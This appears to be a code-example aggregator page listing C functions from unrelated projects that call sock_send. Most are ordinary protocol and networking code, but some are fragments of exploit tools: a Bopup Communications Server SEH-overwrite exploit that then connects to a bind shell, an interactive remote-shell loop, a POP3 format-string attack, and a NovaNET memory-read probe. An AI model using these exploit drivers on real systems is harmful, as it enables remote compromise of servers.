示例#1
0
int daemon_getstats(pcap_t *fp)
{
char sendbuf[RPCAP_NETBUF_SIZE];	// temporary buffer in which data to be sent is buffered
int sendbufidx= 0;					// index which keeps the number of bytes currently buffered
struct pcap_stat stats;				// local statistics
struct rpcap_stats *netstats;		// statistics sent on the network

	if ( sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, fp->errbuf) == -1)
		goto error;

	rpcap_createhdr( (struct rpcap_header *) sendbuf, RPCAP_MSG_STATS_REPLY, 0, (uint16) sizeof(struct rpcap_stats));

	netstats= (struct rpcap_stats *) &sendbuf[sendbufidx];

	if ( sock_bufferize(NULL, sizeof(struct rpcap_stats), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, fp->errbuf) == -1)
		goto error;

	if (pcap_stats(fp, &stats) )
		goto error;

	netstats->ifdrop= htonl(stats.ps_ifdrop);
	netstats->ifrecv= htonl(stats.ps_recv);
	netstats->krnldrop= htonl(stats.ps_drop);
	netstats->svrcapt= htonl(fp->md.TotCapt);

	// Send the packet
	if ( sock_send(fp->rmt_sockctrl, sendbuf, sendbufidx, fp->errbuf) == -1)
		goto error;

	return 0;

error:
	rpcap_senderror(fp->rmt_sockctrl, fp->errbuf, PCAP_ERR_GETSTATS, fakeerrbuf);
	return -1;
}
示例#2
0
int daemon_updatefilter(pcap_t *fp, uint32 plen)
{
struct rpcap_header header;			// keeps the answer to the updatefilter command
unsigned int nread;

	if ( daemon_unpackapplyfilter(fp, &nread, &plen, fp->errbuf) )
		goto error;

	// Check if all the data has been read; if not, discard the data in excess
	if (nread != plen)
	{
		if (sock_discard(fp->rmt_sockctrl, plen - nread, fakeerrbuf) )
		{
			nread= plen;		// just to avoid to call discard again in the 'error' section
			goto error;
		}
	}

	// A response is needed, otherwise the other host does not know that everything went well
	rpcap_createhdr( &header, RPCAP_MSG_UPDATEFILTER_REPLY, 0, 0);

	if ( sock_send(fp->rmt_sockctrl, (char *) &header, sizeof (struct rpcap_header), fp->errbuf) )
		goto error;

	return 0;


error:
	if (nread != plen)
		sock_discard(fp->rmt_sockctrl, plen - nread, fakeerrbuf);

	rpcap_senderror(fp->rmt_sockctrl, fp->errbuf, PCAP_ERR_UPDATEFILTER, fakeerrbuf);

	return -1;
}
示例#3
0
文件: net.c 项目: Moteesh/reactos
static BOOL send_ssl_chunk(netconn_t *conn, const void *msg, size_t size)
{
    SecBuffer bufs[4] = {
        {conn->ssl_sizes.cbHeader, SECBUFFER_STREAM_HEADER, conn->ssl_buf},
        {size,  SECBUFFER_DATA, conn->ssl_buf+conn->ssl_sizes.cbHeader},
        {conn->ssl_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, conn->ssl_buf+conn->ssl_sizes.cbHeader+size},
        {0, SECBUFFER_EMPTY, NULL}
    };
    SecBufferDesc buf_desc = {SECBUFFER_VERSION, sizeof(bufs)/sizeof(*bufs), bufs};
    SECURITY_STATUS res;

    memcpy(bufs[1].pvBuffer, msg, size);
    res = EncryptMessage(&conn->ssl_ctx, 0, &buf_desc, 0);
    if(res != SEC_E_OK) {
        WARN("EncryptMessage failed\n");
        return FALSE;
    }

    if(sock_send(conn->socket, conn->ssl_buf, bufs[0].cbBuffer+bufs[1].cbBuffer+bufs[2].cbBuffer, 0) < 1) {
        WARN("send failed\n");
        return FALSE;
    }

    return TRUE;
}
示例#4
0
int daemon_endcapture(pcap_t *fp, pthread_t *threaddata, char *errbuf)
{
struct rpcap_header header;
SOCKET sockctrl;

	if (threaddata)
	{
		pthread_cancel(*threaddata);
		threaddata= 0;
	}
	if (fp->rmt_sockdata)
	{
		sock_close(fp->rmt_sockdata, NULL, 0);
		fp->rmt_sockdata= 0;
	}

	sockctrl= fp->rmt_sockctrl;

	pcap_close(fp);
	fp= NULL;

	rpcap_createhdr( &header, RPCAP_MSG_ENDCAP_REPLY, 0, 0);

	if ( sock_send(sockctrl, (char *) &header, sizeof(struct rpcap_header), errbuf, PCAP_ERRBUF_SIZE) == -1)
		return -1;
	
	return 0;
}
示例#5
0
static void received_contacts_request(gint fd)
{
	g_print("Sending contacts\n");
	addrindex_load_person_ds(addrbook_entry_send);
	sock_send(answer_sock, ":done:\n");
	g_print("Sending of contacts done: %d\n",	g_hash_table_size(contact_hash));
}
示例#6
0
static void received_events_request(gint fd)
{
	g_print("Sending events\n");
	vcal_foreach_event(event_send_cb);
	sock_send(fd, ":done:\n");
	g_print("Sending of events done\n");
}
示例#7
0
int daemon_getstatsnopcap(SOCKET sockctrl, unsigned int ifdrops, unsigned int ifrecv, 
						  unsigned int krnldrop, unsigned int svrcapt, char *errbuf)
{
char sendbuf[RPCAP_NETBUF_SIZE];	// temporary buffer in which data to be sent is buffered
int sendbufidx= 0;					// index which keeps the number of bytes currently buffered
struct rpcap_stats *netstats;		// statistics sent on the network

	if ( sock_bufferize(NULL, sizeof(struct rpcap_header), NULL,
		&sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1)
		goto error;

	rpcap_createhdr( (struct rpcap_header *) sendbuf, RPCAP_MSG_STATS_REPLY, 0, (uint16) sizeof(struct rpcap_stats));

	netstats= (struct rpcap_stats *) &sendbuf[sendbufidx];

	if ( sock_bufferize(NULL, sizeof(struct rpcap_stats), NULL,
		&sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1)
		goto error;

	netstats->ifdrop= htonl(ifdrops);
	netstats->ifrecv= htonl(ifrecv);
	netstats->krnldrop= htonl(krnldrop);
	netstats->svrcapt= htonl(svrcapt);

	// Send the packet
	if ( sock_send(sockctrl, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) == -1)
		goto error;

	return 0;

error:
	rpcap_senderror(sockctrl, errbuf, PCAP_ERR_GETSTATS, NULL);
	return -1;
}
示例#8
0
// 参考sock_recv
// 我们认为,所有的pending队列都在sock_send里面设置
// sock_send_all不设置任何的sock的pengding队列
// XXX:
// 如果第一次sock_send_all分多次send
// 任何一次send失败,都当做失败
ssize_t sock_send_all(int fd, char *buf, size_t size)
{
    coro_sock *sock = find_sock_by_fd(fd);
    if ( !sock ) {
        return -1;
    }
    ssize_t cnt = 0;
    ssize_t status = 0;
    uthread_t cur = coro_current_uthread();
    while ( (size_t)cnt < size ) {
        if ( status < 0 ) {
            cnt = -1;
            break;
        }
        ssize_t send_cnt = sock_send(sock->sock, buf + cnt, size);
        // 如果某次send_all过程中出错,认定为全部send失败
        if ( send_cnt < 0 ) {
            return -1;
        }
        cnt += send_cnt;
        if ( (size_t)cnt < size ) {
            set_pending_status(sock, set_wait_write_status, cur, set_wait_write_status);
            status = coro_schedule_uthread(cur, 0);
        }
    }
    clear_pending_status(sock, cur);
    return cnt;
}
示例#9
0
文件: net.c 项目: Moteesh/reactos
BOOL netconn_send( netconn_t *conn, const void *msg, size_t len, int *sent )
{
    if (conn->secure)
    {
        const BYTE *ptr = msg;
        size_t chunk_size;

        *sent = 0;

        while(len) {
            chunk_size = min(len, conn->ssl_sizes.cbMaximumMessage);
            if(!send_ssl_chunk(conn, ptr, chunk_size))
                return FALSE;

            *sent += chunk_size;
            ptr += chunk_size;
            len -= chunk_size;
        }

        return TRUE;
    }
    if ((*sent = sock_send( conn->socket, msg, len, 0 )) == -1)
    {
        set_last_error( sock_get_error( errno ) );
        return FALSE;
    }
    return TRUE;
}
示例#10
0
/*
 * This function sends a RPCAP error to our peer.
 *
 * It has to be called when the main program detects an error.
 * It will send to our peer the 'buffer' specified by the user.
 * This function *does not* request a RPCAP CLOSE connection. A CLOSE
 * command must be sent explicitly by the program, since we do not know
 * whether the error can be recovered in some way or if it is a
 * non-recoverable one.
 *
 * \param sock: the socket we are currently using.
 *
 * \param ver: the protocol version we want to put in the reply.
 *
 * \param errcode: a integer which tells the other party the type of error
 * we had.
 *
 * \param error: an user-allocated (and '0' terminated) buffer that contains
 * the error description that has to be transmitted to our peer. The
 * error message cannot be longer than PCAP_ERRBUF_SIZE.
 *
 * \param errbuf: a pointer to a user-allocated buffer (of size
 * PCAP_ERRBUF_SIZE) that will contain the error message (in case there
 * is one). It could be network problem.
 *
 * \return '0' if everything is fine, '-1' if some errors occurred. The
 * error message is returned in the 'errbuf' variable.
 */
int
rpcap_senderror(SOCKET sock, uint8 ver, unsigned short errcode, const char *error, char *errbuf)
{
	char sendbuf[RPCAP_NETBUF_SIZE];	/* temporary buffer in which data to be sent is buffered */
	int sendbufidx = 0;			/* index which keeps the number of bytes currently buffered */
	uint16 length;

	length = (uint16)strlen(error);

	if (length > PCAP_ERRBUF_SIZE)
		length = PCAP_ERRBUF_SIZE;

	rpcap_createhdr((struct rpcap_header *) sendbuf, ver, RPCAP_MSG_ERROR, errcode, length);

	if (sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx,
		RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE))
		return -1;

	if (sock_bufferize(error, length, sendbuf, &sendbufidx,
		RPCAP_NETBUF_SIZE, SOCKBUF_BUFFERIZE, errbuf, PCAP_ERRBUF_SIZE))
		return -1;

	if (sock_send(sock, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) < 0)
		return -1;

	return 0;
}
示例#11
0
errno_t xi_sock_send(xi_socket_t so, void *buf, size_t *len, int flags) {
	
#ifdef __KPI_SOCKET__
	struct iovec aio;
	struct msghdr msg;
	
	size_t sentLen = *len;
	errno_t	error;
	
	aio.iov_base = buf;
	aio.iov_len = sentLen;
	bzero(&msg, sizeof(msg));
	msg.msg_iov = (struct iovec *) &aio;
	msg.msg_iovlen = 1;
	
	error = sock_send(so, &msg, flags, &sentLen);
	
#if 1
    if(error)
		DebugPrint(1, false, "xi_sock_send: so = %p, buf_len = %d error = %d\n", so, (int)*len, error);
#endif /* if 0 */     
	
	*len = sentLen;
	
	return error;
#else
	struct iovec aiov;
    struct uio auio = { 0 };
    register struct proc *p = current_proc();
    register int error = 0;
    
    aiov.iov_base = buf;
    aiov.iov_len = *len;
    
    auio.uio_iov = &aiov;
    auio.uio_iovcnt = 1;
    auio.uio_segflg = UIO_SYSSPACE;
    auio.uio_rw = UIO_WRITE;
    auio.uio_procp = p;
    auio.uio_offset = 0;                    /* XXX */
    auio.uio_resid = *len;

//    IOLog("Before: so = %p, buf_len = %d, aiov.iov_len = %d, error = %d, auio.uio_resid = %d\n", so, (int)len, (int)aiov.iov_len, error,auio.uio_resid);
    thread_funnel_set(network_flock, TRUE);

    error = sosend(so, NULL, &auio, NULL, 0, flags);
    
	(void) thread_funnel_set(network_flock, FALSE);

#if 0
    if(error)
        IOLog("After: so = %p, buf_len = %d, aiov.iov_len = %d, error = %d, auio.uio_resid = %d\n", so, (int)*len, (int)aiov.iov_len, error, auio.uio_resid);
#endif /* if 0 */     
   
	*len = *len - auio.uio_resid;
	
	return error;
	
#endif
}
示例#12
0
static int
novanet_read (char *host, void *start, void *dst)
{
  fd_set r_fds;
  struct timeval tv;
  int fd, n;
  char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ];

  novanet_read_pkt_init (buf);
  start = (void *) NOVANET_CALC_INT (start);

  fd = sockami (host, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_read: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  NOVANET_SET_INT (buf, (unsigned int) start);
  if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      return (0);
    }

  FD_ZERO (&r_fds);
  FD_SET (fd, &r_fds);
  tv.tv_sec = 4;        /* wait 4 seconds */
  tv.tv_usec = 0;

  n = select (fd + 1, &r_fds, NULL, NULL, &tv);
  if (n == -1)
    {
      fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }
  else if (n)
    {
      if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ)
        {
          fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n",
                   n, NOVANET_PKT_SZ);
          return (0);
        }
    }
  else
    {
      fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n");
      exit (EXIT_FAILURE);
    }

  memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *));
  usleep (USLEEP_TIME);
  close (fd);

  return (1);
}
示例#13
0
文件: main.c 项目: yhcting/ylisp
static void
_assert_(int a) {
#define __MSG "ASSERT!!!"
	if (!a) {
		sock_send(_s,(unsigned char*)__MSG, sizeof(__MSG));
		assert(0);
	}
#undef __MSG
}
示例#14
0
static void ping_server(server_t *server) {
    sock_connect(&server->sock, server->address, server->port);

    msg_t *msg = sock_init_send(&server->sock, qfalse);
    write_string(msg, "info %d full empty", PROTOCOL);
    sock_send(&server->sock);
    server->ping_start = millis();
    server->ping_retries--;
}
void Client(char *Address, char *Port, int AddressFamily, int TransportProtocol)
{
char ErrBuf[1024];
char DataBuffer[1024];
int ClientSocket;				// keeps the socket ID for this connection
struct addrinfo Hints;			// temporary struct to keep settings needed to open the new socket
struct addrinfo *AddrInfo;		// keeps the addrinfo chain; required to open a new socket
int WrittenBytes;				// Number of bytes written on the socket

	// Prepare to open a new server socket
	memset(&Hints, 0, sizeof(struct addrinfo));

	Hints.ai_family= AddressFamily;
	Hints.ai_socktype= TransportProtocol;	// Open a TCP or UDP connection

	if (sock_initaddress (Address, Port, &Hints, &AddrInfo, ErrBuf, sizeof(ErrBuf)) == sockFAILURE)
	{
		printf("Error resolving given address/port: %s\n\n", ErrBuf);
		return;
	}

	printf("Trying to connect to server on address %s, port %s, using protocol %s\n", 
		Address ? Address : "all local addresses", Port, (AddrInfo->ai_family == AF_INET) ? "IPv4" : "IPv6");

	if ( (ClientSocket= sock_open(AddrInfo, 0, 0,  ErrBuf, sizeof(ErrBuf))) == sockFAILURE)
	{
		// AddrInfo is no longer required
		sock_freeaddrinfo(AddrInfo);
		printf("Cannot opening the socket: %s\n\n", ErrBuf);
		return;
	}

	// AddrInfo is no longer required
	sock_freeaddrinfo(AddrInfo);

	printf("Connection established.\n");
	printf("Type the string you want to send to the server: ");
	
	// Warning: possible buffer overflow here
	fgets(DataBuffer, sizeof(DataBuffer), stdin);

	// fgets reads also the newline character, so we have to reset it
	DataBuffer[strlen(DataBuffer) - 1]= 0;

	printf("\n\n");

	WrittenBytes= sock_send(ClientSocket, DataBuffer, strlen(DataBuffer), ErrBuf, sizeof(ErrBuf));
	if (WrittenBytes == sockFAILURE)
	{
		printf("Error sending data: %s\n\n", ErrBuf);
		return;
	}

	printf("String '%s' sent. Press ENTER to terminate the program\n", DataBuffer);
	fgets(DataBuffer, sizeof(DataBuffer), stdin);
}
示例#16
0
文件: shoutcast.cpp 项目: atmos/butt
int sc_send(char *buf, int buf_len)
{
    int ret;
    ret = sock_send(&stream_socket, buf, buf_len, SEND_TIMEOUT);

    if(ret == SOCK_TIMEOUT)
        ret = -1;

    return ret;
}
示例#17
0
static void
shellami (int fd)
{
  int n;
  fd_set rset;
  char rbuf[1024], *cmd = "id; uname -a; uptime\n";

  sock_send (fd, cmd, strlen (cmd));

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fd, &rset);
      FD_SET (STDIN_FILENO, &rset);

      if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
        {
          fprintf (stderr, "shellami: select() - %s\n", strerror (errno));
          exit (EXIT_FAILURE);
        }

      if (FD_ISSET (fd, &rset))
        {
          if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0)
            {
              fprintf (stderr, "shellami: connection closed by foreign host.\n");
              exit (EXIT_SUCCESS);
            }
          rbuf[n] = '\0';
          printf ("%s", rbuf);
          fflush (stdout);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0)
            {
              rbuf[n] = '\0';
              sock_send (fd, rbuf, n);
            }
        }
    }
}
示例#18
0
/* return >0 ok */
int send_resp(int socket,const char *code,char *msg,int seqnum,char *type)
{
	int ret = 0;
	char strnum[32] = {0};
	sprintf(strnum,"%d",seqnum);
	
	char *ptr = create_json_msg_rsp(code,msg,strnum,type);
	ret = sock_send(socket,ptr,strlen(ptr));
	free(ptr);
	return ret;
}
示例#19
0
int sock_cmd(int sock, char *fmt, ... )
{
	char buf[1024];
	va_list va;
	va_start( va, fmt );
	vsnprintf(buf, sizeof(buf) - 1 , fmt, va );
	va_end( va );

	strcat(buf, "\r\n");
	return sock_send(sock, buf, strlen(buf));
}
示例#20
0
int client_send_tcp_data_back(client_t *client,char *data,int len)
{
	int ret ;
	ret = sock_send(client->tcp_sock,data,len);
	if(ret < 0)
		return -1;
	else if(ret == 0)
		return -2;
	else
		return 0;
}
示例#21
0
文件: client.c 项目: PKRoma/pwnat
/*
 * Send data received from UDP tunnel to TCP connection. Need to call
 * client_got_udp_data() first. Returns -1 on general error, -2 if need to
 * disconnect, and 0 on success.
 */
int client_send_tcp_data(client_t* client)
{
	int ret;
	ret = sock_send(client->tcp_sock, client->udp2tcp, client->udp2tcp_len);
	if(ret < 0)
		return -1;
	else if(ret == 0)
		return -2;
	else
		return 0;
}
示例#22
0
int
main (int argc, char **argv)
{
  char zbuf[BUF_SIZE];
  int fd, n;

  printf ("Bopup Communications Server remote SYSTEM exploit\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  fd = sockami (argv[1], PORT_BOPUP);
  if (fd == -1)
    {
      fprintf (stderr, "%s: sockami failed\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  printf ("* connected to %s:%d\n\n", argv[1], PORT_BOPUP);

  printf ("** SEH offset @+%04X\n", BOPUP_STR_OFFSET + BOPUP_STR_LEN - 8);
  printf ("** return addy @0x%08X\n\n", BOPUP_POPRET);

  printf ("* building buffer with shellcode...");
  zbuffami (zbuf);
  printf ("done\n");

  printf ("* sending request...");
  if ((n = sock_send (fd, zbuf, BOPUP_STR_OFFSET + BOPUP_STR_LEN)) != BOPUP_STR_OFFSET + BOPUP_STR_LEN)
    {
      fprintf (stderr, "%s: sock_send returned %d (!= %d)\n",
               argv[0], n, BOPUP_STR_OFFSET + BOPUP_STR_LEN);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");
  close (fd);

  printf ("* waiting for the shellcode to be executed...\n");
  sleep (2);

  if ((fd = sockami (argv[1], PORT_SHELL)) != -1)
    {
      printf ("+Wh00t!\n\n");
      shellami (fd);
    }

  return (EXIT_SUCCESS);
}
示例#23
0
// send the GOODBYE command to the server.  Return 0 if the socket is still valid.  Return -1 if the 
// socket closed or there was an error while sending.
int sendGoodbye(int handle)
{
	// the command will be generated and placed in a buffer.  1024 bytes is PLENTY for this 
	// command... but just showing that the buffer doesn't need to be the exact size, just as long 
	// as it is big enough.
	char buffer[1024];
	
	risp_length_t len = risp_addbuf_noparam(buffer, CMD_GOODBYE);
	assert(len > 0);
	
	// now that the we have the RISP stream created for the command, we need to send it.
	return(sock_send(handle, buffer, len));
}
示例#24
0
static gint addrbook_entry_send(ItemPerson *itemperson, AddressDataSource *ds)
{
	gchar *vcard;
	ContactHashVal *val;

	vcard = vcard_get_from_ItemPerson(itemperson);
	sock_send(answer_sock, ":start_contact:\n");
	sock_send(answer_sock, vcard);
	sock_send(answer_sock, ":end_contact:\n");
	g_free(vcard);

	/* Remember contacts for easier changing */
	if (!contact_hash)
		contact_hash = g_hash_table_new_full(g_str_hash, g_str_equal, g_free,
																				 g_free);

	val = g_new0(ContactHashVal,1);
	val->person = itemperson;
	val->ds = ds;
	g_hash_table_insert(contact_hash, g_strdup(ADDRITEM_ID(itemperson)), val);

	return 0;
}
示例#25
0
文件: shoutcast.cpp 项目: atmos/butt
int sc_update_song()
{
    int ret;
    int web_socket;
    char send_buf[1024];
    char *song_buf;

    web_socket = sock_connect(cfg.srv[cfg.selected_srv]->addr,
            cfg.srv[cfg.selected_srv]->port, CONN_TIMEOUT);

    if(web_socket < 0)
    {
        switch(web_socket)
        {
            case SOCK_ERR_CREATE:
                print_info("\nupdate_song: could not create network socket", 1);
                ret = 1;
                break;
            case SOCK_ERR_RESOLVE:
                print_info("\nupdate_song: error resolving server address", 1);
                ret = 1;
                break;
            case SOCK_TIMEOUT:
            case SOCK_INVALID:
                ret = 1;
                break;
            default:
                ret = 1;
        }

        return ret;
    }

    song_buf = strdup(cfg.main.song);

    strrpl(&song_buf, " ", "%20");
    strrpl(&song_buf, "&", "%26");

    snprintf(send_buf, 500, "GET /admin.cgi?pass=%s&mode=updinfo&song=%s&url= HTTP/1.0\n"
                      "User-Agent: ShoutcastDSP (Mozilla Compatible)\n\n",
                      cfg.srv[cfg.selected_srv]->pwd,
                      song_buf
                     );

    sock_send(&web_socket, send_buf, strlen(send_buf), SEND_TIMEOUT);
    close(web_socket);
    free(song_buf);

    return 0;
}
示例#26
0
文件: axiagen.c 项目: B-Rich/osf_db
static void formatme (u_char * host){	/* do the evil */

	int sock;
	printf ("+Connecting to %s:%d ", host, PORT_POP3);	
	sock = sockami (host, PORT_POP3);
	printf ("\n+Sending format string\n");
	sock_send (sock, formatString, strlen (formatString));
	fflush (stdout);
	sleep(2);	
	printf ("+Connecting to Shell ");	
	sock = sockami (host, 31337);
	printf ("- Done\n");
	shell(sock);

}
示例#27
0
// attempt to send a request, return zero if successful.  
// If the send fails, then close the socket and return a non-zero..
int sendMessageRequest(int handle, risp_int_t msg_id)
{
	assert(msg_id > 0);
	assert(handle >= 0);
	
	// the command will be generated and placed in a buffer.  1024 bytes is PLENTY for this 
	// command... 
	char buffer[1024];
	
	risp_length_t len = risp_addbuf_int(buffer, CMD_SEND_MSG, msg_id);
	assert(len > 0);
	
	// now that the we have the RISP stream created for the command, we need to send it.
	return(sock_send(handle, buffer, len));
}
示例#28
0
static void received_contact_delete_request(gint fd)
{
	gchar buf[BUFFSIZE];
	gboolean delete_successful= FALSE;

	if (fd_gets(fd, buf, sizeof(buf)) != -1) {
		gchar *id;
		ContactHashVal *hash_val;
		id = g_strchomp(buf);
		hash_val = g_hash_table_lookup(contact_hash, id);

		if (hash_val) {
			AlertValue val;
			val = G_ALERTALTERNATE;
			if(opensync_config.contact_ask_delete) {
				gchar *msg;
				msg = g_strdup_printf(_("Really delete contact for '%s'?"),
															ADDRITEM_NAME(hash_val->person));
				val = alertpanel(_("OpenSync plugin"),msg,
												 GTK_STOCK_CANCEL,GTK_STOCK_DELETE,NULL);
				g_free(msg);
			}
			if(((!opensync_config.contact_ask_delete) || (val != G_ALERTDEFAULT)) &&
				 (addrduplicates_delete_item_person(hash_val->person,hash_val->ds))) {
				g_print("Deleted id: '%s'\n", id);
				delete_successful = TRUE;
			}
		}
	}
	if(delete_successful) {
	  sock_send(fd, ":ok:\n");
	}
	else {
	  sock_send(fd, ":failure:\n");
	}
}
示例#29
0
void sock_printf (int socket, const char* format, ...)
{
  va_list list;
  
  va_start (list, format);
  
  char buffer [256];
  
  _vsnprintf (buffer, sizeof (buffer), format, list);
  
  buffer [255] = '\0';
  
  size_t length = strlen (buffer);
  
  sock_send (socket, buffer, length);
}
示例#30
0
文件: udp.c 项目: Key4ce/bsdinstaller
/*-------------------------------------------------------------------------*\
* Send data through connected udp socket
\*-------------------------------------------------------------------------*/
static int meth_send(lua_State *L) {
    p_udp udp = (p_udp) aux_checkclass(L, "udp{connected}", 1);
    p_tm tm = &udp->tm;
    size_t count, sent = 0;
    int err;
    const char *data = luaL_checklstring(L, 2, &count);
    tm_markstart(tm);
    err = sock_send(&udp->sock, data, count, &sent, tm);
    if (err != IO_DONE) {
        lua_pushnil(L);
        lua_pushstring(L, udp_strerror(err));
        return 2;
    }
    lua_pushnumber(L, sent);
    return 1;
}